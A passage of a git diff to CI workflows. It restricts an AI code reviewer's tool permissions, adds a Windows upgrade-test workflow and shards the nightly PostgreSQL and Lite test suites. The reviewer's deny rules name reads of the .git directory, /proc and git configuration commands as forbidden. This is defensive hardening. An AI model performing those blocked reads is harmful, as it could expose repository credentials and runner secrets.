+          # `git diff BASE HEAD`, which takes no argument after it, and `git diff BASE HEAD -- *`,
+          # where every argument after `--` is a pathspec. The two SHAs fill the first two arguments.
+          # Both come from the decide job, which sets them only when each is a 40-character hex SHA.
+          # The allowlist has no `git log` or `git show` rule: `gh pr view --json commits` carries the
+          # commit messages, and Read reads the checked-out files. The other two values interpolated
+          # here, the model and the turn limit, are constants the tier step writes.
+          #
+          # --disallowedTools: Claude Code's permissions page ("Read and Edit") documents `Read` deny
+          # rules with a path: `Read(./secrets/**)`, and `//path` for an absolute one. They apply to
+          # the Read tool and, as a best effort, to Grep and Glob, and a deny rule wins over an allow
+          # rule. The CLI reference and the settings reference say `--disallowedTools` carries such
+          # rules, and the action passes the flag through (base-action/src/parse-sdk-options.ts at
+          # v1 comma-splits the values and merges them into the SDK's disallowedTools). `./` is the
+          # directory Claude runs in: the action's run step sets no working directory, so that is the
+          # workspace root, where actions/checkout puts the tree. So the file tools do not read the
+          # checkout's .git directory or /proc.
+          #
+          # The file tools read only the checkout. The allowlist grants `Read(./**)`, the tree under
+          # that same directory, and no rule grants a path outside it, so Read, Grep and Glob are
+          # refused a file elsewhere on the runner, by absolute path or by `../`. A Bash read (`cat`,
+          # an input redirect) is held to the directory Claude runs in as well. The review reads
+          # nothing outside the tree: the traps file is .github/REVIEW-TRAPS.md.
+          #
+          # --disallowedTools also denies `git remote`, `git config`, `git ls-remote` and `git var`, with
+          # any arguments. The review runs none of them, and each reads the repository's git
+          # configuration, which the Read rule above already keeps from the file tools. Claude Code runs
+          # some read-only git commands with no allow rule, so these four need deny rules of their own.
           claude_args: |
             --model "${{ steps.tier.outputs.model || 'claude-opus-5[1m]' }}"
             --max-turns ${{ steps.tier.outputs.max_turns || '120' }}
-            --allowedTools "mcp__github_inline_comment__create_inline_comment,Bash(gh pr comment:*),Bash(gh pr diff:*),Bash(gh pr view:*),Bash(gh pr review:*),Read,Grep,Glob,Bash(git diff:*),Bash(git log:*),Bash(git show:*)"
+            --allowedTools "mcp__github_inline_comment__create_inline_comment,Bash(gh pr diff ${{ github.event.pull_request.number }}),Bash(gh pr diff ${{ github.event.pull_request.number }} --name-only),Bash(gh pr view ${{ github.event.pull_request.number }}),Bash(gh pr view ${{ github.event.pull_request.number }} --json commits),Bash(gh pr view ${{ github.event.pull_request.number }} --comments),Bash(gh pr comment ${{ github.event.pull_request.number }} --body-file -),Bash(gh pr review ${{ github.event.pull_request.number }} --comment --body-file -),Bash(gh pr review ${{ github.event.pull_request.number }} --request-changes --body-file -),Read(./**)${{ needs.decide.outputs.base && needs.decide.outputs.head && format(',Bash(git diff {0} {1}),Bash(git diff {0} {1} -- *)', needs.decide.outputs.base, needs.decide.outputs.head) || '' }}"
+            --disallowedTools "Read(./.git/**),Read(//proc/**),Bash(git remote *),Bash(git config *),Bash(git ls-remote *),Bash(git var *)"
 
       # #3650: a review that posted nothing used to finish GREEN. The prompt mandates one formal
       # review per run -- changes-requested on a substantive finding, a clean comment review
       # otherwise -- so on this repo a run that submitted no verdict has broken its contract every
       # time; a clean review is never silent, and a zero here is never legitimate. This step turns
-      # that into the job's own colour, with the diagnosis in the log, so the guard (#2229/#3492,
-      # still the REQUIRED check, still enforcing newest-verdict-wins and the drift arm) becomes the
-      # second line rather than the first. Counted: reviews by the bot, submitted inside this run's
+      # that into the job's own colour, with the diagnosis in the log, so the guard (#2229/#3492, the
+      # check that enforces newest-verdict-wins and the drift arm) becomes the second line rather
+      # than the first. Counted: reviews by the bot, submitted inside this run's
       # window, with a NON-EMPTY body. The body test is load-bearing: the inline-comment tool files
       # each comment inside a review of its own with an empty body (#3647 carried four bot reviews,
       # two of them bodiless carriers), and both verdict shapes must carry one (gh and the API both
@@ -358,7 +808,7 @@ jobs:
       # the log for the record and not graded: a mark that fails on a heading's wording is one
       # people learn to ignore, and the ledger is what the later pass computes from.
       - name: Verify the review posted a verdict
-        if: ${{ always() && env.CLAUDE_CODE_OAUTH_TOKEN != '' }}
+        if: ${{ always() && env.HAS_OAUTH_TOKEN == 'true' }}
         env:
           GH_TOKEN: ${{ github.token }}
           R: ${{ github.repository }}
@@ -372,6 +822,11 @@ jobs:
           # What the tier step decided, to cross-check the ledger's own tier claim (a warning,
           # not a failure: a mislabelled tier does not compromise the verdict, only the ledger).
           TIER: ${{ steps.tier.outputs.tier }}
+          # The pass the decide job chose and the head this run started on; the verdict's review-pass
+          # line must say both, because the next push reads that line to decide what it gets and where
+          # its follow-up starts.
+          PASS: ${{ needs.decide.outputs.pass }}
+          HEAD_SHA: ${{ github.event.pull_request.head.sha }}
         run: |
           set -euo pipefail
           summary() { echo "$*" >> "$GITHUB_STEP_SUMMARY"; }
@@ -433,14 +888,18 @@ jobs:
             header=$(printf '%s\n' "$body" | grep -E -m1 '^## Verdict: (LGTM|CHANGES REQUESTED)[[:space:]]*$' || true)
             ledger=$(printf '%s\n' "$body" | grep -E -m1 '^<!-- review-ledger: verdict=(LGTM|CHANGES_REQUESTED) verified=[0-9]+ unverified=[0-9]+ refuted=[0-9]+ traps=[0-9]+ tier=(full|light) model=[^[:space:]]+ -->[[:space:]]*$' || true)
             sections=$(printf '%s\n' "$body" | grep -E '^### ' | tr '\n' ';' || true)
+            marker=$(printf '%s\n' "$body" | grep -E '^<!-- review-pass: (full|follow-up)( head=[0-9a-f]{40})? -->[[:space:]]*$' | tail -n 1 | sed -E 's/[[:space:]]+$//' || true)
+            expected_marker="<!-- review-pass: $PASS head=$HEAD_SHA -->"
             echo "newest verdict: $verdict_state $verdict_url"
             echo "  header: ${header:-<missing>}"
             echo "  ledger: ${ledger:-<missing>}"
+            echo "  pass marker: ${marker:-<missing>} (expected: $expected_marker)"
             echo "  sections: ${sections:-<none>}"
 
             missing=''
             [ -z "$header" ] && missing="$missing the '## Verdict: LGTM | CHANGES REQUESTED' header;"
             [ -z "$ledger" ] && missing="$missing the '<!-- review-ledger: ... -->' line;"
+            [ "$marker" != "$expected_marker" ] && missing="$missing the '$expected_marker' line (found: ${marker:-none});"
             if [ -n "$header" ] && [ -n "$ledger" ]; then
               ledger_verdict=$(printf '%s' "$ledger" | sed -E 's/.*verdict=([A-Z_]+).*/\1/')
               case "$verdict_state:$ledger_verdict" in
@@ -492,35 +951,43 @@ jobs:
             "verdict: $REVIEW_BOT submitted no formal review on PR #$PR since $SINCE, and the"\
             "prompt promises one every run even when clean. Real money was spent and the output"\
             "vanished (#3650; the #2229 failure shape). Do NOT read this PR as reviewed. The"\
-            "transcript is attached to this run as the claude-review-transcript artifact; its"\
-            "result block follows."
+            "review keeps no transcript; the counts from its result block follow."
           summary '- The review ran and submitted no formal review. Not reviewed (#3650).'
           if [ -s "$transcript" ]; then
-            echo "--- result block of $transcript ---"
-            jq -c '.[-1] | {type, subtype, is_error, num_turns, permission_denials_count,
+            # Result fields only (type, subtype, counts, the names of the denied tools): no message
+            # text and no tool input is printed, and nothing is uploaded; the file holds the whole
+            # conversation and stays on the runner. The file's result message carries the denials as a
+            # list (the action's own log derives the count from it), so the count is taken from it here.
+            echo "--- result block of $transcript (fields only) ---"
+            jq -c '.[-1] | {type, subtype, is_error, num_turns,
+                            permission_denials_count: ((.permission_denials // []) | length),
                             total_cost_usd, duration_ms,
                             denied: [.permission_denials[]? | .tool_name]}' "$transcript" \
               2>/dev/null || true
-            echo "--- tail of $transcript ---"
-            tail -c 4000 "$transcript" || true
-            echo
           else
             echo "(no transcript at $transcript)"
           fi
           exit 1
 
-      # #3650: the per-turn transcript is what proves WHY a run said nothing, and it used to die
-      # with the runner -- the denial-ratio evidence above had to be inferred from result blocks in
-      # the step log. Seven days is long enough to diagnose the next swallowed run in one click and
-      # short enough that nothing accumulates. The reviewer's tools are read-only over a public
-      # tree and gh reads of public PR data, so the transcript holds nothing that is not already
-      # public; keep the allowlist that way, because this artifact is readable by anyone who can
-      # read the repo. Missing file (the action refused to run, or was skipped) is not an error.
-      - name: Retain the review transcript
-        if: ${{ always() && env.CLAUDE_CODE_OAUTH_TOKEN != '' }}
-        uses: actions/upload-artifact@v6
-        with:
-          name: claude-review-transcript
-          path: ${{ steps.review.outputs.execution_file || format('{0}/claude-execution-output.json', runner.temp) }}
-          if-no-files-found: ignore
-          retention-days: 7
+      # The `re-review` label is a request, and a request that has been answered goes away: a stuck
+      # label cannot be added again, so it could never ask twice. Removed only after a FULL review
+      # whose verdict passed the shape check above (success() covers every step before this one), and
+      # only when the label is on the pull request. The job's existing pull-requests: write covers
+      # DELETE /issues/{n}/labels/{name} (GitHub lists it under the Pull requests permission), so no
+      # permission is added. A label that is already gone is a 404 and not a failure.
+      - name: Clear the re-review label
+        if: ${{ success() && needs.decide.outputs.pass == 'full' && (github.event.label.name == 're-review' || contains(github.event.pull_request.labels.*.name, 're-review')) }}
+        env:
+          GH_TOKEN: ${{ github.token }}
+          R: ${{ github.repository }}
+          PR: ${{ github.event.pull_request.number }}
+        run: |
+          set -euo pipefail
+          errfile=$(mktemp 2>/dev/null || echo /dev/null)
+          if gh api -X DELETE "repos/$R/issues/$PR/labels/re-review" --silent 2>"$errfile"; then
+            echo "::notice title=re-review label cleared::The full review is done, so the request is answered."
+          else
+            err=$(cat "$errfile" 2>/dev/null || true)
+            echo "::warning title=re-review label not cleared::gh api DELETE labels/re-review failed: ${err:-no stderr}. Remove the label by hand if it is still on the pull request."
+          fi
+          [ "$errfile" != /dev/null ] && rm -f "$errfile" || true
diff --git a/.github/workflows/darling-upgrade-shapes.yml b/.github/workflows/darling-upgrade-shapes.yml
new file mode 100644
index 0000000000..e73482a7a7
--- /dev/null
+++ b/.github/workflows/darling-upgrade-shapes.yml
@@ -0,0 +1,82 @@
+name: Darling upgrade shapes
+
+# #5627: runs the install and upgrade scripts of THIS commit over installs that real releases made, on the two
+# hosted Windows images, and fails a leg when the outcome is not the expected one. Each leg installs a released
+# build with its own install script, lets its service extract pg-runtime, stops it, and then runs the script
+# under test:
+#   U1  the current release in C:\Program Files\PerformanceMonitorDarling                  must pass
+#   U2  as U1, the service logon changed to a non-default local account and run once on it must pass
+#   U3  as U1, the service deleted: install passes, upgrade says there is no service        see the leg's expectation
+#   U4  a release before 3.9 in C:\PerformanceMonitorDarling: install refuses, names only
+#       the folder's own write entry, and prints the move steps
+# U1, U2 and U3 run both install-darling.ps1 and upgrade-darling.ps1 as separate legs; U4 runs install-darling.ps1.
+#
+# Triggers: a pull request touching the scripts (or this check), the nightly (as a reusable workflow), and a
+# manual dispatch. `pull_request`, never `pull_request_target`: the legs run the pull request's own scripts,
+# so they must run with the pull request's read-only token and no secrets.
+on:
+  pull_request:
+    paths:
+      - 'Darling/tools/*.ps1'
+      - '.github/workflows/darling-upgrade-shapes.yml'
+      - '.github/scripts/darling-upgrade-shapes.ps1'
+  workflow_call:
+  workflow_dispatch:
+
+permissions:
+  contents: read
+
+# The released builds the legs install first. Change them here and nowhere else.
+env:
+  DARLING_CURRENT_RELEASE: '3.9.0'
+  DARLING_OLD_RELEASE: '3.7.1'
+
+concurrency:
+  group: darling-upgrade-shapes-${{ github.ref }}
+  cancel-in-progress: true
+
+jobs:
+  shape:
+    name: ${{ matrix.os }} / ${{ matrix.leg }}
+    runs-on: ${{ matrix.os }}
+    # Measured on hosted runners (#5627 repro, 14 legs): 1.8 to 2.8 minutes per leg, install of the release,
+    # pg-runtime extraction and the script under test included. The script's own bounds add up to 6 + 15
+    # minutes (pg-runtime wait, script run), so 30 minutes bounds a hung service without cutting a slow leg.
+    timeout-minutes: 30
+    strategy:
+      fail-fast: false
+      matrix:
+        os: [ windows-2022, windows-2025 ]
+        leg: [ U1-install, U1-upgrade, U2-install, U2-upgrade, U3-install, U3-upgrade, U4-install ]
+    env:
+      GH_TOKEN: ${{ github.token }}
+    steps:
+      # The commit under test, not a branch name that can move while the run is queued.
+      - uses: actions/checkout@v7
+        with:
+          ref: ${{ github.sha }}
+
+      - name: Setup .NET 10.0
+        uses: actions/setup-dotnet@v6
+        with:
+          dotnet-version: '10.0.x'
+
+      - name: Run the leg
+        shell: pwsh
+        timeout-minutes: 25
+        run: ./.github/scripts/darling-upgrade-shapes.ps1 -Leg '${{ matrix.leg }}' -Workspace '${{ github.workspace }}' -CurrentVersion '${{ env.DARLING_CURRENT_RELEASE }}' -OldVersion '${{ env.DARLING_OLD_RELEASE }}'
+
+      - name: Service log tail
+        if: always()
+        shell: pwsh
+        run: |
+          Get-ChildItem 'C:\ProgramData\PerformanceMonitorDarling\logs' -ErrorAction SilentlyContinue | Select-Object -Last 2 | ForEach-Object { "log $($_.FullName)"; Get-Content $_.FullName -Tail 30 }
+
+      - name: Upload the scripts' output
+        if: always()
+        uses: actions/upload-artifact@v6
+        with:
+          name: darling-upgrade-shapes-${{ matrix.os }}-${{ matrix.leg }}
+          path: C:\darling-shapes-work\*.txt
+          retention-days: 7
+          if-no-files-found: ignore
diff --git a/.github/workflows/nightly.yml b/.github/workflows/nightly.yml
index 84e8b56144..90aacc89f5 100644
--- a/.github/workflows/nightly.yml
+++ b/.github/workflows/nightly.yml
@@ -12,10 +12,20 @@ on:
         required: false
         default: false
       publish:
-        description: 'Publish the release artifacts (gh release, the ghcr image push) once build, linux and the Darling PostgreSQL tests all succeed. Set false for a diagnostic re-run that should build and test without publishing.'
+        description: 'Publish the release artifacts (gh release, the ghcr image push) once build, linux, the Darling PostgreSQL tests and the Lite tests all succeed, on a run of the dev ref only. Set false for a diagnostic re-run that should build and test without publishing.'
         type: boolean
         required: false
         default: true
+      test_map:
+        description: 'Build the class-to-file test map (#5459): the whole Darling.Tests and Lite.Tests suites under AltCover, sharded, joined into the test-map artifact. On by default, including in the scheduled re-dispatch; set false to skip it for one dispatch. It publishes nothing, gates nothing, and a failure in it does not fail the nightly.'
+        type: boolean
+        required: false
+        default: true
+      altcover_probe:
+        description: 'Run the AltCover per-test coverage probe job (#5459). Off by default and never set by the scheduled re-dispatch; it only measures, publishes nothing and gates nothing.'
+        type: boolean
+        required: false
+        default: false
 
 # Read-only by default; the release-publishing steps (gh release, the ghcr push, cosign, the
 # provenance attestation) run only in the publish job below, which declares its own write
@@ -54,12 +64,17 @@ jobs:
   # Everything below runs only in a workflow_dispatch run — the scheduled re-dispatch or a
   # manual one — which executes from the dispatched ref (dev for the scheduled path).
   #
-  # Each checkout resolves that ref EXPLICITLY rather than pinning `ref: dev`. Three of these
-  # were pinned, so a manual dispatch onto any other branch published dev's artifacts while
-  # reporting the dispatched ref as the run's head SHA — the run, the API and the release page
-  # all named a branch that was not what got built. That is worse than simply ignoring the
-  # input, because the mismatch is invisible: it surfaced as a release-candidate build stamping
-  # the PREVIOUS version, which is only noticeable if you happen to read the artifact name.
+  # Each checkout resolves the run's own COMMIT (`github.sha`) rather than pinning `ref: dev`.
+  # Three of these were pinned, so a manual dispatch onto any other branch published dev's
+  # artifacts while reporting the dispatched ref as the run's head SHA — the run, the API and
+  # the release page all named a branch that was not what got built. That is worse than simply
+  # ignoring the input, because the mismatch is invisible: it surfaced as a release-candidate
+  # build stamping the PREVIOUS version, which is only noticeable if you happen to read the
+  # artifact name. The commit, not the branch name, is what every job checks out: a branch name
+  # resolves to the branch tip at the moment each job starts, so a merge to dev in the middle of
+  # a run made the later jobs (the shards, publish) build a different commit than the earlier
+  # ones, and dev had to freeze for every nightly (#5616). `github.sha` is fixed when the run is
+  # dispatched, so a merge to dev mid-run does not change what any later job builds.
   check:
     if: github.event_name == 'workflow_dispatch'
     runs-on: ubuntu-latest
@@ -70,7 +85,7 @@ jobs:
     steps:
       - uses: actions/checkout@v7
         with:
-          ref: ${{ github.event_name == 'workflow_dispatch' && github.ref_name || 'dev' }}
+          ref: ${{ github.event_name == 'workflow_dispatch' && github.sha || 'dev' }}
           fetch-depth: 0
 
       # The nightly prerelease stamp, derived ONCE for the whole run and consumed by every job
@@ -127,15 +142,19 @@ jobs:
     # 24h — the same policy the schedule applied when it ran these jobs directly.
     if: needs.check.outputs.has_changes == 'true' || inputs.from_schedule != true
     runs-on: windows-latest
-    # Full pipeline (restore, tests, four publishes, cold pg-runtime fetch, vpk pack,
-    # release upload) is well under an hour; 90 minutes means hung-not-slow. Nightly ships
-    # unsigned, so unlike build.yml's release path there is no manual signing gate to wait on.
+    # Full pipeline (restore, four publishes, cold pg-runtime fetch, vpk pack, release upload) is
+    # well under an hour; 90 minutes means hung-not-slow. Nightly ships unsigned, so unlike build.yml's
+    # release path there is no manual signing gate to wait on.
+    #
+    # Back at 90 (#5616). It was raised to 150 for #5208, when the unsharded Lite "Run tests" step went
+    # 45 -> 64 -> over 89 minutes on this job and hit the old cap. That step now runs in the lite-tests
+    # job's four shards, so the cap returns to the value this comment's earlier text named.
     timeout-minutes: 90
 
     steps:
       - uses: actions/checkout@v7
         with:
-          ref: ${{ github.event_name == 'workflow_dispatch' && github.ref_name || 'dev' }}
+          ref: ${{ github.event_name == 'workflow_dispatch' && github.sha || 'dev' }}
 
       - name: Setup .NET 10.0
         uses: actions/setup-dotnet@v6
@@ -189,12 +208,8 @@ jobs:
           set -euo pipefail
 
           dotnet restore Lite/PerformanceMonitorLite.csproj --locked-mode
-          dotnet restore Lite.Tests/Lite.Tests.csproj --locked-mode
           dotnet restore Darling/PerformanceMonitor.Darling.Viewer/PerformanceMonitor.Darling.Viewer.csproj --locked-mode
 
-      - name: Run tests
-        run: dotnet run --project Lite.Tests/Lite.Tests.csproj -c Release
-
       # #2501: -r win-x64 --self-contained, and it makes the portable ZIP SMALLER, not bigger.
       # The RID-agnostic framework-dependent publish this replaced copied every platform its
       # packages ship - 537 MB of runtimes\ on a 565 MB tree, of which only the 52 MB win-x64
@@ -352,25 +367,39 @@ jobs:
   # Postgres + managed-bootstrap paths get real coverage. The one live-SQL-Server E2E stays
   # skipped (no SQL Server on the runner) — expected. Gated like the build job so it only runs
   # when dev actually changed (or on manual dispatch).
+  #
+  # #5616: six legs, the same shard cut build.yml's darling-pg job uses (run-darling-pg-shard.ps1), so the
+  # suite runs in about a sixth of the time and the publish job waits for the slowest leg, not the whole suite.
+  # Every class still runs in exactly one leg (the Guard classes too: there is no Guard job here), and each leg
+  # keeps this job's single cluster and env, so the test set is the one the unsharded step ran.
   darling-pg:
-    name: Darling PostgreSQL tests
+    name: Darling PostgreSQL tests (shard ${{ matrix.shard }})
     needs: check
     # Same gating as the build job: manual dispatches always run, the scheduled
     # re-dispatch (from_schedule=true) runs only when dev changed in the last 24h.
     if: needs.check.outputs.has_changes == 'true' || inputs.from_schedule != true
     runs-on: windows-latest
-    # Cold pg-runtime fetch + build + the full live-PG suite fits well inside an hour; a
-    # cluster that never comes up (pg_ctl -w) is the hang this bounds.
-    timeout-minutes: 60
+    # Cold pg-runtime fetch + build + one shard of the live-PG suite. From numbers (#5616): build.yml's six legs
+    # ran this suite's shards in 5.5 to 10.9 minutes of test step and 7.0 to 12.8 minutes per job over the last
+    # 7 successful dev pushes; this job adds the upgrade-fixture build, so 40 minutes is over three times the
+    # slowest leg and still bounds a cluster that never comes up (pg_ctl -w).
+    timeout-minutes: 40
+    strategy:
+      fail-fast: false
+      matrix:
+        shard: [0, 1, 2, 3, 4, 5]
 
     steps:
-      # Scheduled runs always test dev (schedules execute from the default branch, so ref_name
-      # would be main). A manual dispatch tests the DISPATCHED ref — the only way to validate a
-      # branch's gated-pg test changes before merge; the build job stays pinned to dev either
-      # way, so a branch dispatch can never ship branch binaries.
+      # Every job checks out the commit this run was dispatched at (`github.sha`), so a merge to dev
+      # mid-run does not change what a later job builds. Scheduled runs test dev: the redispatch job
+      # runs this workflow with `--ref dev`, so that run's commit is dev's tip when it was dispatched.
+      # A manual dispatch tests the DISPATCHED ref's commit, the only way to validate a branch's
+      # gated-pg test changes before merge. The build job checks out the same commit, so what keeps a
+      # branch dispatch from shipping branch binaries is the publish job's
+      # `github.ref == 'refs/heads/dev'` condition (#5616).
       - uses: actions/checkout@v7
         with:
-          ref: ${{ github.event_name == 'workflow_dispatch' && github.ref_name || 'dev' }}
+          ref: ${{ github.event_name == 'workflow_dispatch' && github.sha || 'dev' }}
 
       - name: Setup .NET 10.0
         uses: actions/setup-dotnet@v6
@@ -473,15 +502,32 @@ jobs:
           Add-Content -Path "$dataDir\postgresql.conf" -Value "listen_addresses = '127.0.0.1'"
           Add-Content -Path "$dataDir\postgresql.conf" -Value "timescaledb.max_background_workers = 74"
           Add-Content -Path "$dataDir\postgresql.conf" -Value "max_worker_processes = 85"
+          # #5549: the session id (%c) on every line. A PID alone cannot say whether two lines came from one
+          # session (a pooled connection reused by the next test) or from two (Windows reuses a PID quickly).
+          Add-Content -Path "$dataDir\postgresql.conf" -Value "log_line_prefix = '%m [%p] %c '"
           & "$bin\pg_ctl.exe" -D $dataDir -l $logFile -w start
           if ($LASTEXITCODE -ne 0) { if (Test-Path $logFile) { Get-Content $logFile -Tail 50 }; throw "pg_ctl start failed ($LASTEXITCODE)" }
           & "$bin\createdb.exe" -h 127.0.0.1 -p 5541 -U darling darling
           if ($LASTEXITCODE -ne 0) { throw "createdb failed ($LASTEXITCODE)" }
 
-      # DARLING_TEST_PG lights up the [Collection("live-postgres")] classes; DARLING_TEST_PGRUNTIME
-      # lights up the managed-bootstrap E2E. DARLING_TEST_SQL is intentionally unset — the one
-      # live-SQL-Server E2E stays skipped (no SQL Server on the runner).
+      # DARLING_TEST_PG lights up the [Collection("live-postgres")] classes; DARLING_TEST_PGRUNTIME lights up the
+      # managed-bootstrap E2E. DARLING_TEST_SQL is intentionally unset - the one live-SQL-Server E2E stays skipped
+      # (no SQL Server on the runner).
+      # #5616: this leg runs one shard of the suite. The cut, the chunking and the per-chunk runs are
+      # .github/scripts/run-darling-pg-shard.ps1, the ONE copy build.yml's darling-pg job calls too; the Guard filter
+      # is off here (no Guard job ran), so every class lands in exactly one leg, and no event is passed, so no
+      # Cost=Slow class is left out. This step keeps only the env and the cluster above it.
+      # #5587: the hang report build.yml's shards carry: `-longRunning 300` names a test that has run for 5 minutes,
+      # and the runner output is teed to TestResults/darling-runner-<shard>.log and uploaded by the always() step
+      # further down. The script's chunk loop fails the step when any chunk's runner fails.
+      # The step timeout is from numbers (#5616): build.yml's six legs ran this step for 5.5 to 10.9 minutes over the
+      # last 7 successful dev pushes (the job 7.0 to 12.8). The job's timeout is 40, and the job ran 1.5 to 2.0 minutes
+      # longer than the step there, plus this job's upgrade-fixture build, so 22 (the step timeout build.yml uses for
+      # the same step) leaves 18 minutes for the setup and the uploads. The slowest leg, 10.9 minutes, is 50% of 22,
+      # under the 70% bar. A job timeout would cancel the job and leave the uploads pending; a step timeout fails
+      # only this step.
       - name: Run Darling PG tests
+        timeout-minutes: 22
         shell: pwsh
         env:
           DARLING_TEST_PG: "Host=127.0.0.1;Port=5541;Username=darling;Database=darling"
@@ -497,7 +543,28 @@ jobs:
           # swap (no pg_upgrade, same data directory) is what nearly every field host takes on a release
           # that moves PostgreSQL's minor, and nothing else runs it with real data, stamped or not.
           DARLING_TEST_PGRUNTIME_PREVIOUS: ${{ github.workspace }}\Darling\artifacts\upgrade-fixture\previous\pg-runtime
-        run: dotnet run --project Darling/Darling.Tests/Darling.Tests.csproj -c Release --no-build -- -trx TestResults/darling-nightly.trx
+        run: |
+          ./.github/scripts/run-darling-pg-shard.ps1 -Shard ${{ matrix.shard }} -ShardCount ${{ strategy.job-total }} -ResultPrefix darling-nightly -RunAttempt ${{ github.run_attempt }}
+
+      # PR #5480: a TimescaleDB job worker died with 0xC0000005 in two CI runs and both runs read "success",
+      # because the postmaster restarts and the tests retry. The crash shows only in the PostgreSQL log, as
+      # "terminated by exception", so this step turns it into a warning on the run. It only warns: it never
+      # fails the job, and it runs when the tests failed too.
+      - name: Warn if a PostgreSQL worker crashed
+        if: always()
+        shell: pwsh
+        run: |
+          $log = "$env:RUNNER_TEMP\darling-pg.log"
+          if (Test-Path $log) {
+            $hits = @(Select-String -Path $log -Pattern 'terminated by exception' -SimpleMatch)
+            foreach ($hit in ($hits | Select-Object -First 5)) {
+              $line = $hit.Line
+              if ($line.Length -gt 300) { $line = $line.Substring(0, 300) }
+              Write-Host "::warning title=PostgreSQL worker terminated by exception::$line"
+            }
+            if ($hits.Count -gt 0) { Write-Host "$($hits.Count) 'terminated by exception' line(s) in darling-pg.log" }
+          }
+          exit 0
 
       - name: Stop PostgreSQL
         if: always()
@@ -546,11 +613,23 @@ jobs:
           }
           Write-Host "Collected $copied gated-test cluster log file(s) into $dest"
 
+      # #5587: the runner output, uploaded whatever the test step did (failed, cancelled or timed out).
+      - name: Upload Darling runner output
+        if: always()
+        continue-on-error: true
+        timeout-minutes: 5
+        uses: actions/upload-artifact@v6
+        with:
+          name: darling-runner-log-nightly-${{ matrix.shard }}
+          path: TestResults/darling-runner-*.log
+          retention-days: 7
+          if-no-files-found: ignore
+
       - name: Upload PG log and test results on failure
-        if: failure()
+        if: failure() || cancelled()
         uses: actions/upload-artifact@v6
         with:
-          name: darling-pg-failure
+          name: darling-pg-failure-${{ matrix.shard }}
           path: |
             ${{ runner.temp }}/darling-pg.log
             ${{ runner.temp }}/darling-cluster-logs/**
@@ -558,6 +637,764 @@ jobs:
           if-no-files-found: ignore
           overwrite: true
 
+  # #5616: the Lite.Tests suite, in the four shards build.yml's lite-tests job runs (run-lite-shard.ps1, the ONE copy
+  # both call). It used to be one step of the build job, 32 to 44 minutes long, and publish waited for it. Every leg
+  # builds Lite.Tests itself and runs a quarter of the classes, so publish waits for the slowest leg. No timing source
+  # is passed, so the cut is the class-name hash (the cut the script falls back to when the gate pins none); no
+  # ci-select call is made, so every class runs, the Guard classes too (there is no Guard job here). The release
+  # run in build.yml still runs the suite whole, in one log.
+  lite-tests:
+    name: Lite tests (shard ${{ matrix.shard }})
+    needs: check
+    # Same gating as the build job: manual dispatches always run, the scheduled
+    # re-dispatch (from_schedule=true) runs only when dev changed in the last 24h.
+    if: needs.check.outputs.has_changes == 'true' || inputs.from_schedule != true
+    runs-on: windows-latest
+    # From numbers (#5616): the unsharded step ran 32.4 to 44.2 minutes over the last 5 completed nightlies, so a
+    # quarter is 8 to 11 minutes; build.yml's four legs ran this step for 5.6 to 19.9 minutes over the last 7
+    # successful dev pushes (the job 0.4 to 0.8 minutes longer), with the timing-packed cut. The hash cut is less even
+    # than the packed one, so allow twice the packed worst case: the step gets 40 minutes (the 19.9-minute worst case is
+    # 50% of that, under the 70% bar) and the job 50, which leaves 10 for the setup, the build and the uploads.
+    timeout-minutes: 50
+    strategy:
+      fail-fast: false
+      matrix:
+        shard: [0, 1, 2, 3]
+
+    steps:
+      - uses: actions/checkout@v7
+        with:
+          ref: ${{ github.event_name == 'workflow_dispatch' && github.sha || 'dev' }}
+
+      - name: Setup .NET 10.0
+        uses: actions/setup-dotnet@v6
+        with:
+          global-json-file: global.json
+          cache: true
+          cache-dependency-path: '**/packages.lock.json'
+
+      - name: Restore Lite.Tests
+        run: dotnet restore Lite.Tests/Lite.Tests.csproj --locked-mode
+
+      - name: Build Lite.Tests
+        run: dotnet build Lite.Tests/Lite.Tests.csproj -c Release --no-restore
+
+      # #5587: the hang report build.yml's shards carry: `-longRunning 300` makes the runner print a test that has run
+      # for 5 minutes while the step is still alive, and the runner output is teed to
+      # TestResults/lite-runner-<shard>.log and uploaded by the always() step below. The script's chunk loop fails the
+      # step when any chunk's runner fails. The step timeout is from the numbers in the job's comment: a job timeout
+      # would cancel the job and leave the uploads pending; a step timeout fails only this step.
+      - name: Run Lite tests (shard)
+        timeout-minutes: 40
+        shell: pwsh
+        run: |
+          ./.github/scripts/run-lite-shard.ps1 -Shard ${{ matrix.shard }} -ShardCount ${{ strategy.job-total }} -JobIndex ${{ strategy.job-index }} -RunAttempt ${{ github.run_attempt }}
+
+      # #5208: where the time goes. Informational; a parse problem must never turn the job red.
+      - name: Lite test timing summary
+        if: always()
+        continue-on-error: true
+        run: python .github/scripts/lite-timing-top.py TestResults
+
+      # Named lite-tests-timing-nightly-<shard>, never lite-tests-timing-<shard>: build.yml's timing-source pin
+      # selects names matching ^lite-tests-timing-[0-9]+$ from its own workflow's runs, so a nightly artifact can
+      # never be read as a pin candidate, and the four legs' names differ (legs sharing a name collide).
+      - name: Upload Lite test timings
+        if: always()
+        continue-on-error: true
+        uses: actions/upload-artifact@v6
+        with:
+          name: lite-tests-timing-nightly-${{ matrix.shard }}
+          path: |
+            TestResults/lite-timing-*.xml
+            TestResults/lite-timing-*.xml.cpu.json
+          retention-days: 7
+          if-no-files-found: ignore
+
+      # #5587: the runner output, uploaded whatever the test step did (failed, cancelled or timed out).
+      - name: Upload Lite runner output
+        if: always()
+        continue-on-error: true
+        timeout-minutes: 5
+        uses: actions/upload-artifact@v6
+        with:
+          name: lite-runner-log-nightly-${{ matrix.shard }}
+          path: TestResults/lite-runner-*.log
+          retention-days: 7
+          if-no-files-found: ignore
+
+  # ── AltCover per-test coverage probe (#5459, change 4 slice 2) ───────────────────────────────────
+  # Dispatch-only and off by default: the scheduled re-dispatch never sets `altcover_probe`, so the
+  # nightly never runs this. It answers one question for the class-to-file map the PR test selection
+  # would read: can AltCover (--callContext on [Fact]/[Theory]) give a per-test-class list of product
+  # source files for the Darling xUnit v3 project on .NET 10, at what overhead, and with what holes?
+  # It runs about 100 Darling classes (plain, TestHost/web, live PostgreSQL) and about 60 Lite classes
+  # (plain, DuckDB-backed, collector-starting) once plain and once instrumented, and uploads the raw
+  # OpenCover reports plus a summary and the schema-1 `classes` map for each suite. Nothing here
+  # publishes or gates, and no job lists it in `needs`.
+  # Dispatch on a branch with:
+  #   gh workflow run nightly.yml --ref <branch> -f altcover_probe=true -f publish=false
+  altcover-probe:
+    name: AltCover per-test coverage probe
+    # Waits for build, darling-pg and lite-tests so it does not take their runners (#5459); always() keeps it running after a failed one.
